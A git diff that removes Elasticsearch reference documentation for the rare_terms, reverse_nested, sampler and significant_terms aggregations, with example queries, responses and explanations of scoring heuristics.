-To limit the danger of this setting, the maximum `max_doc_count` is 100.
-
-[[search-aggregations-bucket-rare-terms-aggregation-max-buckets]]
-==== Max Bucket Limit
-
-The Rare Terms aggregation is more liable to trip the `search.max_buckets` soft limit than other aggregations due
-to how it works.  The `max_bucket` soft-limit is evaluated on a per-shard basis while the aggregation is collecting
-results.  It is possible for a term to be "rare" on a shard but become "not rare" once all the shard results are
-merged together.  This means that individual shards tend to collect more buckets than are truly rare, because
-they only have their own local view.  This list is ultimately pruned to the correct, smaller list of rare
-terms on the coordinating node... but a shard may have already tripped the `max_buckets` soft limit and aborted
-the request.
-
-When aggregating on fields that have potentially many "rare" terms, you may need to increase the `max_buckets` soft
-limit.  Alternatively, you might need to find a way to filter the results to return fewer rare values (smaller time
-span, filter by category, etc), or re-evaluate your definition of "rare" (e.g. if something
-appears 100,000 times, is it truly "rare"?)
-
-[[search-aggregations-bucket-rare-terms-aggregation-approximate-counts]]
-==== Document counts are approximate
-
-The naive way to determine the "rare" terms in a dataset is to place all the values in a map, incrementing counts
-as each document is visited, then return the bottom `n` rows.  This does not scale beyond even modestly sized data
-sets.  A sharded approach where only the "top n" values are retained from each shard (ala the `terms` aggregation)
-fails because the long-tail nature of the problem means it is impossible to find the "top n" bottom values without
-simply collecting all the values from all shards.
-
-Instead, the Rare Terms aggregation uses a different approximate algorithm:
-
-1. Values are placed in a map the first time they are seen.
-2. Each addition occurrence of the term increments a counter in the map
-3. If the counter > the `max_doc_count` threshold, the term is removed from the map and placed in a
-https://www.cs.cmu.edu/~dga/papers/cuckoo-conext2014.pdf[CuckooFilter]
-4. The CuckooFilter is consulted on each term.  If the value is inside the filter, it is known to be above the
-threshold already and skipped.
-
-After execution, the map of values is the map of "rare" terms under the `max_doc_count` threshold.  This map and CuckooFilter
-are then merged with all other shards.  If there are terms that are greater than the threshold (or appear in
-a different shard's CuckooFilter) the term is removed from the merged list.  The final map of values is returned
-to the user as the "rare" terms.
-
-CuckooFilters have the possibility of returning false positives (they can say a value exists in their collection when
-it actually does not).  Since the CuckooFilter is being used to see if a term is over threshold, this means a false positive
-from the CuckooFilter will mistakenly say a value is common when it is not (and thus exclude it from it final list of buckets).
-Practically, this means the aggregations exhibits false-negative behavior since the filter is being used "in reverse"
-of how people generally think of approximate set membership sketches.
-
-CuckooFilters are described in more detail in the paper:
-
-https://www.cs.cmu.edu/~dga/papers/cuckoo-conext2014.pdf[Fan, Bin, et al. "Cuckoo filter: Practically better than bloom."]
-Proceedings of the 10th ACM International on Conference on emerging Networking Experiments and Technologies. ACM, 2014.
-
-==== Precision
-
-Although the internal CuckooFilter is approximate in nature, the false-negative rate can be controlled with a
-`precision` parameter.  This allows the user to trade more runtime memory for more accurate results.
-
-The default precision is `0.001`, and the smallest (e.g. most accurate and largest memory overhead) is `0.00001`.
-Below are some charts which demonstrate how the accuracy of the aggregation is affected by precision and number
-of distinct terms.
-
-The X-axis shows the number of distinct values the aggregation has seen, and the Y-axis shows the percent error.
-Each line series represents one "rarity" condition (ranging from one rare item to 100,000 rare items).  For example,
-the orange "10" line means ten of the values were "rare" (`doc_count == 1`), out of 1-20m distinct values (where the
-rest of the values had `doc_count > 1`)
-
-This first chart shows precision `0.01`:
-
-image:images/rare_terms/accuracy_01.png[]
-
-And precision `0.001` (the default):
-
-image:images/rare_terms/accuracy_001.png[]
-
-And finally `precision 0.0001`:
-
-image:images/rare_terms/accuracy_0001.png[]
-
-The default precision of `0.001` maintains an accuracy of < 2.5% for the tested conditions, and accuracy slowly
-degrades in a controlled, linear fashion as the number of distinct values increases.
-
-The default precision of `0.001` has a memory profile of `1.748⁻⁶ * n` bytes, where `n` is the number
-of distinct values the aggregation has seen (it can also be roughly eyeballed, e.g. 20 million unique values is about
-30mb of memory).  The memory usage is linear to the number of distinct values regardless of which precision is chosen,
-the precision only affects the slope of the memory profile as seen in this chart:
-
-image:images/rare_terms/memory.png[]
-
-For comparison, an equivalent terms aggregation at 20 million buckets would be roughly
-`20m * 69b == ~1.38gb` (with 69 bytes being a very optimistic estimate of an empty bucket cost, far lower than what
-the circuit breaker accounts for).  So although the `rare_terms` agg is relatively heavy, it is still orders of
-magnitude smaller than the equivalent terms aggregation
-
-==== Filtering Values
-
-It is possible to filter the values for which buckets will be created. This can be done using the `include` and
-`exclude` parameters which are based on regular expression strings or arrays of exact values. Additionally,
-`include` clauses can filter using `partition` expressions.
-
-===== Filtering Values with regular expressions
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "rare_terms": {
-        "field": "genre",
-        "include": "swi*",
-        "exclude": "electro*"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In the above example, buckets will be created for all the tags that starts with `swi`, except those starting
-with `electro` (so the tag `swing` will be aggregated but not `electro_swing`). The `include` regular expression will determine what
-values are "allowed" to be aggregated, while the `exclude` determines the values that should not be aggregated. When
-both are defined, the `exclude` has precedence, meaning, the `include` is evaluated first and only then the `exclude`.
-
-The syntax is the same as <<regexp-syntax,regexp queries>>.
-
-===== Filtering Values with exact values
-
-For matching based on exact values the `include` and `exclude` parameters can simply take an array of
-strings that represent the terms as they are found in the index:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "rare_terms": {
-        "field": "genre",
-        "include": [ "swing", "rock" ],
-        "exclude": [ "jazz" ]
-      }
-    }
-  }
-}
---------------------------------------------------
-
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "rare_terms": {
-        "field": "genre",
-        "missing": "N/A" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Documents without a value in the `tags` field will fall into the same bucket as documents that have the value `N/A`.
-
-==== Nested, RareTerms, and scoring sub-aggregations
-
-The RareTerms aggregation has to operate in `breadth_first` mode, since it needs to prune terms as doc count thresholds
-are breached.  This requirement means the RareTerms aggregation is incompatible with certain combinations of aggregations
-that require `depth_first`. In particular, scoring sub-aggregations that are inside a `nested` force the entire aggregation tree to run
-in `depth_first` mode.  This will throw an exception since RareTerms is unable to process `depth_first`.
-
-As a concrete example, if `rare_terms` aggregation is the child of a `nested` aggregation, and one of the child aggregations of `rare_terms`
-needs document scores (like a `top_hits` aggregation), this will throw an exception.
\ No newline at end of file
diff --git a/docs/reference/aggregations/bucket/reverse-nested-aggregation.asciidoc b/docs/reference/aggregations/bucket/reverse-nested-aggregation.asciidoc
deleted file mode 100644
index da0026ab14b..00000000000
--- a/docs/reference/aggregations/bucket/reverse-nested-aggregation.asciidoc
+++ /dev/null
@@ -1,139 +0,0 @@
-[[search-aggregations-bucket-reverse-nested-aggregation]]
-=== Reverse nested aggregation
-++++
-<titleabbrev>Reverse nested</titleabbrev>
-++++
-
-A special single bucket aggregation that enables aggregating on parent docs from nested documents. Effectively this
-aggregation can break out of the nested block structure and link to other nested structures or the root document,
-which allows nesting other aggregations that aren't part of the nested object in a nested aggregation.
-
-The `reverse_nested` aggregation must be defined inside a `nested` aggregation.
-
-.Options:
-* `path` - Which defines to what nested object field should be joined back. The default is empty,
-which means that it joins back to the root / main document level. The path cannot contain a reference to
-a nested object field that falls outside the `nested` aggregation's nested structure a `reverse_nested` is in.
-
-For example, lets say we have an index for a ticket system with issues and comments. The comments are inlined into
-the issue documents as nested documents. The mapping could look like:
-
-[source,console]
---------------------------------------------------
-PUT /issues
-{
-  "mappings": {
-    "properties": {
-      "tags": { "type": "keyword" },
-      "comments": {                            <1>
-        "type": "nested",
-        "properties": {
-          "username": { "type": "keyword" },
-          "comment": { "type": "text" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> The `comments` is an array that holds nested documents under the `issue` object.
-
-The following aggregations will return the top commenters' username that have commented and per top commenter the top
-tags of the issues the user has commented on:
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-POST /issues/_doc/0?refresh
-{"tags": ["tag_1"], "comments": [{"username": "username_1"}]}
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-GET /issues/_search
-{
-  "query": {
-    "match_all": {}
-  },
-  "aggs": {
-    "comments": {
-      "nested": {
-        "path": "comments"
-      },
-      "aggs": {
-        "top_usernames": {
-          "terms": {
-            "field": "comments.username"
-          },
-          "aggs": {
-            "comment_to_issue": {
-              "reverse_nested": {}, <1>
-              "aggs": {
-                "top_tags_per_comment": {
-                  "terms": {
-                    "field": "tags"
-                  }
-                }
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-As you can see above, the `reverse_nested` aggregation is put in to a `nested` aggregation as this is the only place
-in the dsl where the `reverse_nested` aggregation can be used. Its sole purpose is to join back to a parent doc higher
-up in the nested structure.
-
-<1> A `reverse_nested` aggregation that joins back to the root / main document level, because no `path` has been defined.
-Via the `path` option the `reverse_nested` aggregation can join back to a different level, if multiple layered nested
-object types have been defined in the mapping
-
-Possible response snippet:
-
-[source,console-result]
---------------------------------------------------
-{
-  "aggregations": {
-    "comments": {
-      "doc_count": 1,
-      "top_usernames": {
-        "doc_count_error_upper_bound" : 0,
-        "sum_other_doc_count" : 0,
-        "buckets": [
-          {
-            "key": "username_1",
-            "doc_count": 1,
-            "comment_to_issue": {
-              "doc_count": 1,
-              "top_tags_per_comment": {
-                "doc_count_error_upper_bound" : 0,
-                "sum_other_doc_count" : 0,
-                "buckets": [
-                  {
-                    "key": "tag_1",
-                    "doc_count": 1
-                  }
-                  ...
-                ]
-              }
-            }
-          }
-          ...
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
diff --git a/docs/reference/aggregations/bucket/sampler-aggregation.asciidoc b/docs/reference/aggregations/bucket/sampler-aggregation.asciidoc
deleted file mode 100644
index afbdd82f195..00000000000
--- a/docs/reference/aggregations/bucket/sampler-aggregation.asciidoc
+++ /dev/null
@@ -1,163 +0,0 @@
-[[search-aggregations-bucket-sampler-aggregation]]
-=== Sampler aggregation
-++++
-<titleabbrev>Sampler</titleabbrev>
-++++
-
-A filtering aggregation used to limit any sub aggregations' processing to a sample of the top-scoring documents.
-
-.Example use cases:
-* Tightening the focus of analytics to high-relevance matches rather than the potentially very long tail of low-quality matches
-* Reducing the running cost of aggregations that can produce useful results using only samples e.g. `significant_terms`
- 
-
-Example:
-
-A query on StackOverflow data for the popular term `javascript` OR the rarer term
-`kibana` will match many documents - most of them missing the word Kibana. To focus
-the `significant_terms` aggregation on top-scoring documents that are more likely to match 
-the most interesting parts of our query we use a sample.
-
-[source,console]
---------------------------------------------------
-POST /stackoverflow/_search?size=0
-{
-  "query": {
-    "query_string": {
-      "query": "tags:kibana OR tags:javascript"
-    }
-  },
-  "aggs": {
-    "sample": {
-      "sampler": {
-        "shard_size": 200
-      },
-      "aggs": {
-        "keywords": {
-          "significant_terms": {
-            "field": "tags",
-            "exclude": [ "kibana", "javascript" ]
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:stackoverflow]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sample": {
-      "doc_count": 200, <1>
-      "keywords": {
-        "doc_count": 200,
-        "bg_count": 650,
-        "buckets": [
-          {
-            "key": "elasticsearch",
-            "doc_count": 150,
-            "score": 1.078125,
-            "bg_count": 200
-          },
-          {
-            "key": "logstash",
-            "doc_count": 50,
-            "score": 0.5625,
-            "bg_count": 50
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-<1> 200 documents were sampled in total. The cost of performing the nested significant_terms aggregation was
-therefore limited rather than unbounded.
-
-
-Without the `sampler` aggregation the request query considers the full "long tail" of low-quality matches and therefore identifies
-less significant terms such as `jquery` and `angular` rather than focusing on the more insightful Kibana-related terms.
-
-
-[source,console]
---------------------------------------------------
-POST /stackoverflow/_search?size=0
-{
-  "query": {
-    "query_string": {
-      "query": "tags:kibana OR tags:javascript"
-    }
-  },
-  "aggs": {
-    "low_quality_keywords": {
-      "significant_terms": {
-        "field": "tags",
-        "size": 3,
-        "exclude": [ "kibana", "javascript" ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:stackoverflow]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "low_quality_keywords": {
-      "doc_count": 600,
-      "bg_count": 650,
-      "buckets": [
-        {
-          "key": "angular",
-          "doc_count": 200,
-          "score": 0.02777,
-          "bg_count": 200
-        },
-        {
-          "key": "jquery",
-          "doc_count": 200,
-          "score": 0.02777,
-          "bg_count": 200
-        },
-        {
-          "key": "logstash",
-          "doc_count": 50,
-          "score": 0.0069,
-          "bg_count": 50
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-// TESTRESPONSE[s/0.02777/$body.aggregations.low_quality_keywords.buckets.0.score/]
-// TESTRESPONSE[s/0.0069/$body.aggregations.low_quality_keywords.buckets.2.score/]
-
-
-
-==== shard_size
-
-The `shard_size` parameter limits how many top-scoring documents are collected in the sample processed on each shard.
-The default value is 100.
-
-==== Limitations
-
-[[sampler-breadth-first-nested-agg]]
-===== Cannot be nested under `breadth_first` aggregations
-Being a quality-based filter the sampler aggregation needs access to the relevance score produced for each document.
-It therefore cannot be nested under a `terms` aggregation which has the `collect_mode` switched from the default `depth_first` mode to `breadth_first` as this discards scores.
-In this situation an error will be thrown.
\ No newline at end of file
diff --git a/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc b/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc
deleted file mode 100644
index 6bd36945eae..00000000000
--- a/docs/reference/aggregations/bucket/significantterms-aggregation.asciidoc
+++ /dev/null
@@ -1,585 +0,0 @@
-[[search-aggregations-bucket-significantterms-aggregation]]
-=== Significant terms aggregation
-++++
-<titleabbrev>Significant terms</titleabbrev>
-++++
-
-An aggregation that returns interesting or unusual occurrences of terms in a set.
-
-.Example use cases:
-* Suggesting "H5N1" when users search for "bird flu" in text
-* Identifying the merchant that is the "common point of compromise" from the transaction history of credit card owners reporting loss
-* Suggesting keywords relating to stock symbol $ATI for an automated news classifier
-* Spotting the fraudulent doctor who is diagnosing more than their fair share of whiplash injuries
-* Spotting the tire manufacturer who has a disproportionate number of blow-outs
-
-In all these cases the terms being selected are not simply the most popular terms in a set.
-They are the terms that have undergone a significant change in popularity measured between a _foreground_ and _background_ set.
-If the term "H5N1" only exists in 5 documents in a 10 million document index and yet is found in 4 of the 100 documents that make up a user's search results
-that is significant and probably very relevant to their search. 5/10,000,000 vs 4/100 is a big swing in frequency.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /reports
-{
-  "mappings": {
-    "properties": {
-      "force": {
-        "type": "keyword"
-      },
-      "crime_type": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-POST /reports/_bulk?refresh
-{"index":{"_id":0}}
-{"force": "British Transport Police", "crime_type": "Bicycle theft"}
-{"index":{"_id":1}}
-{"force": "British Transport Police", "crime_type": "Bicycle theft"}
-{"index":{"_id":2}}
-{"force": "British Transport Police", "crime_type": "Bicycle theft"}
-{"index":{"_id":3}}
-{"force": "British Transport Police", "crime_type": "Robbery"}
-{"index":{"_id":4}}
-{"force": "Metropolitan Police Service", "crime_type": "Robbery"}
-{"index":{"_id":5}}
-{"force": "Metropolitan Police Service", "crime_type": "Bicycle theft"}
-{"index":{"_id":6}}
-{"force": "Metropolitan Police Service", "crime_type": "Robbery"}
-{"index":{"_id":7}}
-{"force": "Metropolitan Police Service", "crime_type": "Robbery"}
-
--------------------------------------------------
-// TESTSETUP
-
-//////////////////////////
-
-==== Single-set analysis
-
-In the simplest case, the _foreground_ set of interest is the search results matched by a query and the _background_
-set used for statistical comparisons is the index or indices from which the results were gathered.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "terms": { "force": [ "British Transport Police" ] }
-  },
-  "aggregations": {
-    "significant_crime_types": {
-      "significant_terms": { "field": "crime_type" }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "significant_crime_types": {
-      "doc_count": 47347,
-      "bg_count": 5064554,
-      "buckets": [
-        {
-          "key": "Bicycle theft",
-          "doc_count": 3640,
-          "score": 0.371235374214817,
-          "bg_count": 66799
-        }
-              ...
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/: (0\.)?[0-9]+/: $body.$_path/]
-
-When querying an index of all crimes from all police forces, what these results show is that the British Transport Police force
-stand out as a force dealing with a disproportionately large number of bicycle thefts. Ordinarily, bicycle thefts represent only 1% of crimes (66799/5064554)
-but for the British Transport Police, who handle crime on railways and stations, 7% of crimes (3640/47347) is
-a bike theft. This is a significant seven-fold increase in frequency and so this anomaly was highlighted as the top crime type.
-
-The problem with using a query to spot anomalies is it only gives us one subset to use for comparisons.
-To discover all the other police forces' anomalies we would have to repeat the query for each of the different forces.
-
-This can be a tedious way to look for unusual patterns in an index
-
-
-
-==== Multi-set analysis
-A simpler way to perform analysis across multiple categories is to use a parent-level aggregation to segment the data ready for analysis.
-
-
-Example using a parent aggregation for segmentation:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggregations": {
-    "forces": {
-      "terms": { "field": "force" },
-      "aggregations": {
-        "significant_crime_types": {
-          "significant_terms": { "field": "crime_type" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
- ...
- "aggregations": {
-    "forces": {
-        "doc_count_error_upper_bound": 1375,
-        "sum_other_doc_count": 7879845,
-        "buckets": [
-            {
-                "key": "Metropolitan Police Service",
-                "doc_count": 894038,
-                "significant_crime_types": {
-                    "doc_count": 894038,
-                    "bg_count": 5064554,
-                    "buckets": [
-                        {
-                            "key": "Robbery",
-                            "doc_count": 27617,
-                            "score": 0.0599,
-                            "bg_count": 53182
-                        }
-                        ...
-                    ]
-                }
-            },
-            {
-                "key": "British Transport Police",
-                "doc_count": 47347,
-                "significant_crime_types": {
-                    "doc_count": 47347,
-                    "bg_count": 5064554,
-                    "buckets": [
-                        {
-                            "key": "Bicycle theft",
-                            "doc_count": 3640,
-                            "score": 0.371,
-                            "bg_count": 66799
-                        }
-                        ...
-                    ]
-                }
-            }
-        ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/: (0\.)?[0-9]+/: $body.$_path/]
-// TESTRESPONSE[s/: "[^"]*"/: $body.$_path/]
-
-Now we have anomaly detection for each of the police forces using a single request.
-
-We can use other forms of top-level aggregations to segment our data, for example segmenting by geographic
-area to identify unusual hot-spots of a particular crime type:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "hotspots": {
-      "geohash_grid": {
-        "field": "location",
-        "precision": 5
-      },
-      "aggs": {
-        "significant_crime_types": {
-          "significant_terms": { "field": "crime_type" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-This example uses the `geohash_grid` aggregation to create result buckets that represent geographic areas, and inside each
-bucket we can identify anomalous levels of a crime type in these tightly-focused areas e.g.
-
-* Airports exhibit unusual numbers of weapon confiscations
-* Universities show uplifts of bicycle thefts
-
-At a higher geohash_grid zoom-level with larger coverage areas we would start to see where an entire police-force may be
-tackling an unusual volume of a particular crime type.
-
-
-Obviously a time-based top-level segmentation would help identify current trends for each point in time
-where a simple `terms` aggregation would typically show the very popular "constants" that persist across all time slots.
-
-
-
-.How are the scores calculated?
-**********************************
-The numbers returned for scores are primarily intended for ranking different suggestions sensibly rather than something easily understood by end users. The scores are derived from the doc frequencies in _foreground_ and _background_ sets. In brief, a term is considered significant if there is a noticeable difference in the frequency in which a term appears in the subset and in the background. The way the terms are ranked can be configured, see "Parameters" section.
-
-**********************************
-
-
-==== Use on free-text fields
-
-The significant_terms aggregation can be used effectively on tokenized free-text fields to suggest:
-
-* keywords for refining end-user searches
-* keywords for use in percolator queries
-
-WARNING: Picking a free-text field as the subject of a significant terms analysis can be expensive! It will attempt
-to load every unique word into RAM. It is recommended to only use this on smaller indices.
-
-.Use the _"like this but not this"_ pattern
-**********************************
-You can spot mis-categorized content by first searching a structured field e.g. `category:adultMovie` and use significant_terms on the
-free-text "movie_description" field. Take the suggested words (I'll leave them to your imagination) and then search for all movies NOT marked as category:adultMovie but containing these keywords.
-You now have a ranked list of badly-categorized movies that you should reclassify or at least remove from the "familyFriendly" category.
-
-The significance score from each term can also provide a useful `boost` setting to sort matches.
-Using the `minimum_should_match` setting of the `terms` query with the keywords will help control the balance of precision/recall in the result set i.e
-a high setting would have a small number of relevant results packed full of keywords and a setting of "1" would produce a more exhaustive results set with all documents containing _any_ keyword.
-
-**********************************
-
-[TIP]
-============
-.Show significant_terms in context
-
-Free-text significant_terms are much more easily understood when viewed in context. Take the results of `significant_terms` suggestions from a
-free-text field and use them in a `terms` query on the same field with a `highlight` clause to present users with example snippets of documents. When the terms
-are presented unstemmed, highlighted, with the right case, in the right order and with some context, their significance/meaning is more readily apparent.
-============
-
-==== Custom background sets
-
-Ordinarily, the foreground set of documents is "diffed" against a background set of all the documents in your index.
-However, sometimes it may prove useful to use a narrower background set as the basis for comparisons.
-For example, a query on documents relating to "Madrid" in an index with content from all over the world might reveal that "Spanish"
-was a significant term. This may be true but if you want some more focused terms you could use a `background_filter`
-on the term 'spain' to establish a narrower set of documents as context. With this as a background "Spanish" would now
-be seen as commonplace and therefore not as significant as words like "capital" that relate more strongly with Madrid.
-Note that using a background filter will slow things down - each term's background frequency must now be derived on-the-fly from filtering posting lists rather than reading the index's pre-computed count for a term.
-
-==== Limitations
-
-===== Significant terms must be indexed values
-Unlike the terms aggregation it is currently not possible to use script-generated terms for counting purposes.
-Because of the way the significant_terms aggregation must consider both _foreground_ and _background_ frequencies
-it would be prohibitively expensive to use a script on the entire index to obtain background frequencies for comparisons.
-Also DocValues are not supported as sources of term data for similar reasons.
-
-===== No analysis of floating point fields
-Floating point fields are currently not supported as the subject of significant_terms analysis.
-While integer or long fields can be used to represent concepts like bank account numbers or category numbers which
-can be interesting to track, floating point fields are usually used to represent quantities of something.
-As such, individual floating point terms are not useful for this form of frequency analysis.
-
-===== Use as a parent aggregation
-If there is the equivalent of a `match_all` query or no query criteria providing a subset of the index the significant_terms aggregation should not be used as the
-top-most aggregation - in this scenario the _foreground_ set is exactly the same as the _background_ set and
-so there is no difference in document frequencies to observe and from which to make sensible suggestions.
-
-Another consideration is that  the significant_terms aggregation produces many candidate results at shard level
-that are only later pruned on the reducing node once all statistics from all shards are merged. As a result,
-it can be inefficient and costly in terms of RAM to embed large child aggregations under a significant_terms
-aggregation that later discards many candidate terms. It is advisable in these cases to perform two searches - the first to provide a rationalized list of
-significant_terms and then add this shortlist of terms to a second query to go back and fetch the required child aggregations.
-
-===== Approximate counts
-The counts of how many documents contain a term provided in results are based on summing the samples returned from each shard and
-as such may be:
-
-* low if certain shards did not provide figures for a given term in their top sample
-* high when considering the background frequency as it may count occurrences found in deleted documents
-
-Like most design decisions, this is the basis of a trade-off in which we have chosen to provide fast performance at the cost of some (typically small) inaccuracies.
-However, the `size` and `shard size` settings covered in the next section provide tools to help control the accuracy levels.
-
-[[significantterms-aggregation-parameters]]
-==== Parameters
-
-===== JLH score
-The JLH score can be used as a significance score by adding the parameter
-
-[source,js]
---------------------------------------------------
-
-	 "jlh": {
-	 }
---------------------------------------------------
-// NOTCONSOLE
-
-The scores are derived from the doc frequencies in _foreground_ and _background_ sets. The _absolute_ change in popularity (foregroundPercent - backgroundPercent) would favor common terms whereas the _relative_ change in popularity (foregroundPercent/ backgroundPercent) would favor rare terms. Rare vs common is essentially a precision vs recall balance and so the absolute and relative changes are multiplied to provide a sweet spot between precision and recall.
-
-===== Mutual information
-Mutual information as described in "Information Retrieval", Manning et al., Chapter 13.5.1 can be used as significance score by adding the parameter
-
-[source,js]
---------------------------------------------------
-
-	 "mutual_information": {
-	      "include_negatives": true
-	 }
---------------------------------------------------
-// NOTCONSOLE
-
-Mutual information does not differentiate between terms that are descriptive for the subset or for documents outside the subset. The significant terms therefore can contain terms that appear more or less frequent in the subset than outside the subset. To filter out the terms that appear less often in the subset than in documents outside the subset, `include_negatives` can be set to `false`.
-
-Per default, the assumption is that the documents in the bucket are also contained in the background. If instead you defined a custom background filter that represents a different set of documents that you want to compare to, set
-
-[source,js]
---------------------------------------------------
-
-"background_is_superset": false
---------------------------------------------------
-// NOTCONSOLE
-
-===== Chi square
-Chi square as described in "Information Retrieval", Manning et al., Chapter 13.5.2 can be used as significance score by adding the parameter
-
-[source,js]
---------------------------------------------------
-
-	 "chi_square": {
-	 }
---------------------------------------------------
-// NOTCONSOLE
-Chi square behaves like mutual information and can be configured with the same parameters `include_negatives` and `background_is_superset`.
-
-
-===== Google normalized distance
-Google normalized distance  as described in "The Google Similarity Distance", Cilibrasi and Vitanyi, 2007 (https://arxiv.org/pdf/cs/0412098v3.pdf) can be used as significance score by adding the parameter
-
-[source,js]
---------------------------------------------------
-
-	 "gnd": {
-	 }
---------------------------------------------------
-// NOTCONSOLE
-`gnd` also accepts the `background_is_superset` parameter.
-
-
-===== Percentage
-A simple calculation of the number of documents in the foreground sample with a term divided by the number of documents in the background with the term.
-By default this produces a score greater than zero and less than one.
-
-The benefit of this heuristic is that the scoring logic is simple to explain to anyone familiar with a "per capita" statistic. However, for fields with high cardinality there is a tendency for this heuristic to select the rarest terms such as typos that occur only once because they score 1/1 = 100%.
-
-It would be hard for a seasoned boxer to win a championship if the prize was awarded purely on the basis of percentage of fights won - by these rules a newcomer with only one fight under their belt would be impossible to beat.
-Multiple observations are typically required to reinforce a view so it is recommended in these cases to set both `min_doc_count` and `shard_min_doc_count` to a higher value such as 10 in order to filter out the low-frequency terms that otherwise take precedence.
-
-[source,js]
---------------------------------------------------
-
-	 "percentage": {
-	 }
---------------------------------------------------
-// NOTCONSOLE
-
-===== Which one is best?
-
-
-Roughly, `mutual_information` prefers high frequent terms even if they occur also frequently in the background. For example, in an analysis of natural language text this might lead to selection of stop words. `mutual_information` is unlikely to select very rare terms like misspellings. `gnd` prefers terms with a high co-occurrence and avoids selection of stopwords. It might be better suited for synonym detection. However, `gnd` has a tendency to select very rare terms that are, for example, a result of misspelling. `chi_square` and `jlh` are somewhat in-between.
-
-It is hard to say which one of the different heuristics will be the best choice as it depends on what the significant terms are used for (see for example [Yang and Pedersen, "A Comparative Study on Feature Selection in Text Categorization", 1997](http://courses.ischool.berkeley.edu/i256/f06/papers/yang97comparative.pdf) for a study on using significant terms for feature selection for text classification).
-
-If none of the above measures suits your usecase than another option is to implement a custom significance measure:
-
-===== Scripted
-Customized scores can be implemented via a script:
-
-[source,js]
---------------------------------------------------
-
-	    "script_heuristic": {
-              "script": {
-	        "lang": "painless",
-	        "source": "params._subset_freq/(params._superset_freq - params._subset_freq + 1)"
-	      }
-            }
---------------------------------------------------
-// NOTCONSOLE
-Scripts can be inline (as in above example), indexed or stored on disk. For details on the options, see <<modules-scripting, script documentation>>.
-
-Available parameters in the script are
-
-[horizontal]
-`_subset_freq`:: Number of documents the term appears in the subset.
-`_superset_freq`:: Number of documents the term appears in the superset.
-`_subset_size`:: Number of documents in the subset.
-`_superset_size`:: Number of documents in the superset.
-
-[[sig-terms-shard-size]]
-===== Size & Shard Size
-
-The `size` parameter can be set to define how many term buckets should be returned out of the overall terms list. By
-default, the node coordinating the search process will request each shard to provide its own top term buckets
-and once all shards respond, it will reduce the results to the final list that will then be returned to the client.
-If the number of unique terms is greater than `size`, the returned list can be slightly off and not accurate
-(it could be that the term counts are slightly off and it could even be that a term that should have been in the top
-size buckets was not returned).
-
-To ensure better accuracy a multiple of the final `size` is used as the number of terms to request from each shard
-(`2 * (size * 1.5 + 10)`). To take manual control of this setting the `shard_size` parameter
-can be  used to control the volumes of candidate terms produced by each shard.
-
-Low-frequency terms can turn out to be the most interesting ones once all results are combined so the
-significant_terms aggregation can produce higher-quality results when the `shard_size` parameter is set to
-values significantly higher than the `size` setting. This ensures that a bigger volume of promising candidate terms are given
-a consolidated review by the reducing node before the final selection. Obviously large candidate term lists
-will cause extra network traffic and RAM usage so this is  quality/cost trade off that needs to be balanced.  If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter.
-
-
-NOTE:   `shard_size` cannot be smaller than `size` (as it doesn't make much sense). When it is, Elasticsearch will
-        override it and reset it to be equal to `size`.
-
-===== Minimum document count
-
-It is possible to only return terms that match more than a configured number of hits using the `min_doc_count` option:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "significant_terms": {
-        "field": "tag",
-        "min_doc_count": 10
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above aggregation would only return tags which have been found in 10 hits or more. Default value is `3`.
-
-
-
-
